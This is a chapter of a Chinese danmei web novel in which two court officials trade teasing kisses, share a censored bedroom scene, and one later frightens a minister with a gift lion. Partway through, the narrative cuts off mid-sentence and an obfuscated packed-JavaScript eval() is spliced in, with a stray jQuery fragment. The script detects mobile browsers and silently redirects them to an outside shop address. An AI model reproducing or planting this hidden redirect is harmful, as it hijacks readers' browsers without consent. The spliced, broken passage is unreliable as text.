83. 教个鬼!!!

作品:《权奕双璧

    燕修延抬手就把凑过来的谢伟恒脑袋轻轻往旁边一推,眉梢微挑,语气里带着几分不耐又藏着纵容:“你少来。”


    “燕大人真是冷漠。”


    谢伟恒低低一笑,非但没退开,反而微微偏头,在燕修延的手指上轻轻咬了一口。


    不重,更像小猫蹭咬,带着点撒娇似的挑衅。


    燕修延:“……”


    指尖莫名一麻,他手指几不可查地蜷了蜷,像是被烫到一般猛地抽回手,脚下一点,身形利落翻上墙头,头也不回地往住的院子掠去。


    那背影瞧着干脆利落,细看之下,竟有几分落荒而逃的意味。


    掠过旁人屋顶时,燕修延脑海里偏偏又不受控制地浮起方才那一下轻咬,温软的触感还残留在皮肤上。


    他心头一乱,脚下不自觉重了几分,瓦片轻轻一响,漏出些微动静。


    底下正与中书令对弈的老大人抬眼望了望屋顶,捋着花白胡须慢悠悠开口:“何大人,你可听见什么声响?似乎有什么东西从上头跑过去了?”


    中书令心头猛地一突突,脸上却强装镇定,干笑两声:“没、没有吧,许是风刮的,我没听见。”


    老大人也不点破,只笑呵呵道:“已是这般时辰了,这盘棋下完,何大人也该回去歇息了。”


    中书令心里早打定主意,今夜说什么也要赖在这儿,打死不回自己那院。


    他打了个哈哈,执子落下:“不急不急,棋还没下完,先下棋,先下棋。”


    燕修延一路掠回院中,推门进屋,换了身宽松寝衣。


    刚整理好衣襟,门外便传来一声轻响,谢伟恒推门而入,身姿闲适,笑意温温。


    “燕大人脚程可真快。”


    燕修延懒得理他,一言不发脱了鞋上床,扯过被子往身上一裹,面朝里躺下,脊背绷得笔直,摆明了一副“别来烦我”的模样。


    身后很快传来衣料轻擦的声响。


    不过片刻,谢伟恒便掀开被子一侧,轻手轻脚躺了进来。


    他微微俯身,温热气息拂在燕修延耳后,声音低哑带笑:“燕大人这般心急?”


    燕修延猛地转过身,气鼓鼓瞪他:“我心急个——”


    话音未落,唇上忽然贴上一片温软。


    谢伟恒的吻落得猝不及防。


    燕修延心里当场把人骂了个遍——谢伟恒这混账,当真半点不当人。


    他只觉对方的手顺着自己的手腕缓缓向上,指腹轻轻摩挲着他的指节,而后指尖钻进他指缝,轻轻一扣,便与他十指紧紧相缠。


    “……你亲够了没有!”


    燕修延实在憋不住,张口便在谢伟恒唇上轻咬一口,耳根泛红,语气又羞又恼,“就一张破嘴,亲亲亲、亲个没完了还!”


    “燕大人这话说得不对。”


    谢伟恒低笑,拇指轻轻按住燕修延被吻得微微水光的唇,声音哑得撩人,“若大人愿意每日亲我一下,我不知该有多欢喜。”


    燕修延张口咬了咬他的拇指,又一巴掌拍开他的手,别过脸:“你又不是银子,还想我天天亲你?我不天天捶你一顿,你就该偷着乐了。”


    谢伟恒笑意更深,慢悠悠抛出一句:“可我每日,都能将铺子里的进项全数交给燕大人。”


    燕修延眼神几不可查地飘了飘,不动声色动了动手腕,语气硬撑着平淡:“亲完了吧,该睡觉了。”


    ——银子放在那儿不会生银子,可谢伟恒能天天往他这儿送银子。


    不过亲一下而已,他大人有大量,不跟这人计较。


    念头刚转完,身侧的人手掌忽然往下一探。


    燕修延表情一僵,瞬间炸毛:“……你的爪子往哪儿摸呢?信不信我给你剁了——”


    谢伟恒低头再次吻住他,干脆利落地堵住那喋喋不休的嘴,不让他再说半句煞风景的话。


    燕修延手指死死蜷起,心里又气又乱——就算你会掉银子,也不能这么没完没了啊!


    谢伟恒的吻向来是这般,温柔缱绻里裹着不容拒绝的强势,像温水裹着烈火,一点点将人烧得神志不清。


    屋内烛火轻轻跳动,床幔半垂,两道人影在榻上交叠相覆。


    燕修延抬眼望着上方的人。


    谢伟恒眼底燃着浅淡火光,额头因隐忍绷起一道浅淡青筋,平日里温润的模样添了几分侵略性。


    燕修延喉间微紧,慌忙把头偏向一边,声音轻得像蚊蚋:“你……蜡烛都快烧没了。”


    谢伟恒低头,在他鼻尖轻轻一吻,气息微哑:“我鲜少**,燕大人更应好好教我才是。”


    燕修延一张脸瞬间烧得通红,几乎要破口而出:“我可去你姥姥的三舅的——”


    教个鬼!


    谢伟恒这混账,分明会得不能再会!


    谢伟恒再次吻住他那张不肯安分的嘴,将所有恼羞成怒的话尽数吞入口中。


    “燕大人可知,”


    他稍稍退开一点,唇瓣擦着燕修延的唇角低笑,“人越是害羞、越是不好意思,反而越爱说话,不过是为了掩饰心底慌乱。”


    燕修延睁圆了眼——又、又没说成话。


    他在心里疯狂腹诽:你才害羞!你全家都害羞!害羞你大爷!


    谢伟恒握着燕修延的手帮自己来回***。(注:后续读者自己想一下吧,作者不敢写了,再透一下:没进去,嘻嘻??)


    烛火燃到尽头,微光一跳,彻底暗下。


    谢伟恒伸手吹灭最后一点残光,回身躺回床上,将已经睡得安稳的燕修延轻轻搂进怀里,在他发顶印下一个极轻极柔的吻。


    “好梦。”


    燕修延睡得沉,一夜无梦。


    次日一早。


    中书令昨夜勉强在老大人外间凑合睡了半宿,睡得心惊胆战,眼下一片青黑。


    刚醒没多久,便听见礼部尚书跟旁人议论,说昨日看见燕修延给谢伟恒送花。


    中书令揉了揉发沉的太阳穴,只当是自己没睡好,听岔了。


    旁人也纷纷摇头,半点不信。


    “宁大人定是听错了,燕大人那般性子,怎么可能给谢大人送花?”


    “就是,燕大人最多随手摘朵花,去调戏谢大人还差不多。”


    “是啊,燕大人素来最爱逗弄谢大人。”


    礼部尚书懒得跟这群人多解释,一扭头看见路过的吏部尚书,立刻快步跟上:“漠大人这是去哪儿?我跟你说啊,昨日我可是亲眼看见……”


    等燕修延和谢伟恒在院里喂完两招。


    几乎人人都知道他燕修延随手摘了朵花,戏弄谢伟恒。


    燕修延:“……”


    礼部尚书这个大嘴巴!


    他真想冲上去给对方一个结结实实的大嘴巴子。


    当什么尚书,简直浪费人才!


    直接去监察司报道,跟温瑞一起做传讹官得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646241|206799||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了!


    围场一事处置完毕,一大批失职护卫被从重发落,虞睿祥也没了继续狩猎的兴致,当即下令,启程回京。


    谢伟恒站在一旁,望着院角那处温泉池,眼底掠过一丝浅浅遗憾。


    好不容易寻来的温泉,终究没能用上。


    特意备好、系着小铃铛的红绳,也没了施展的机会。


    唯有中书令,是真真正正松了一大口气。


    可算能回去了!


    还是自己府上最安全,这鬼地方他是一刻也不想多待。


    “何大人,劳烦让让。”


    身后忽然传来燕修延的声音,温和又客气。


    中书令立刻笑着转身,刚要开口,目光一抬,整个人僵在原地——


    一头巨大的雄狮被牵在燕修延身侧,鬃毛浓密,威风凛凛,温热的鼻息直直喷在他脸上。


    “燕——啊啊啊!狮子!”


    中书令吓得魂飞魄散,两眼一翻,身子一软,差点当场厥过去。


    旁边侍卫眼疾手快,伸手稳稳托了他一把:“大人小心。”


    “多、多谢……”


    中书令扶着侍卫的胳膊,双腿发软,好不容易才站稳,指着那头狮子,声音都在打颤,“燕、燕大人,这……这是……”


    “这是陛下方才赏赐我的狮子,”


    燕修延抬手,轻轻拍了拍狮子的脑袋,语气无辜又纯良,转头对着巨兽温声吩咐,“大白,过来。这是何大人,记住他的气味了吗?”


    中书令吓得接连后退好几步,脸都白了:“为、为何要它记住我的气味?!”


    燕修延眨了眨眼,说得一本正经:“防止它在回京路上肚子饿了,不分青红皂白,见人就啃啊。”


    在中书令耳朵里,这句话自动翻译成:让它记住你的气味,路上饿了,就先啃你。


    他眼前阵阵发黑,几乎要站不住。


    “走了,大白。”


    燕修延揪了揪狮子的耳朵,牵着巨兽慢悠悠绕过中书令,往前走去。


    谢伟恒对着面无人色的中书令微微颔首示意,神色温雅,脚下却半点没停,径直跟上燕修延。


    中书令死死抓住身旁侍卫的胳膊,哆嗦着手从怀里摸出一小块碎银,往侍卫手里塞:“老夫昨夜没睡好,身子不适,恐经受不住长途奔波,劳烦……劳烦快为老夫寻一顶小轿来。”


    侍卫没接那点碎银,又轻轻推了回去,恭敬道:“小的这就去为大人备轿。”


    就这点银子,收了还不如不收,不收,反倒能算个人情。


    中书令讪讪收回银子,心里更是叫苦不迭。


    他原本带了不少银票在身上,可前几日房中不知是进了贼,还是撞了鬼。


    今日收拾行李时才发现,竟只剩下些零碎银子。


    前方不远处,燕修延装作不经意地回头一瞥,看清中书令那副魂不附体、腿软到站不稳的模样,当即忍不住偏头,对着身旁的谢伟恒低低坏笑。


    “你瞧,他吓得腿都软了,走不动道了。”


    阳光落在他眼尾,笑意狡黠又张扬,像只刚得逞的小狐狸。


    谢伟恒望着他,眼底温柔漫溢,轻轻应了一声:“嗯,都依你。”


    ————————————————


    燕修延:不孬不孬,阅读理解做的不错,


    下章预告:


    作者没想好,尽情期待一下吧??????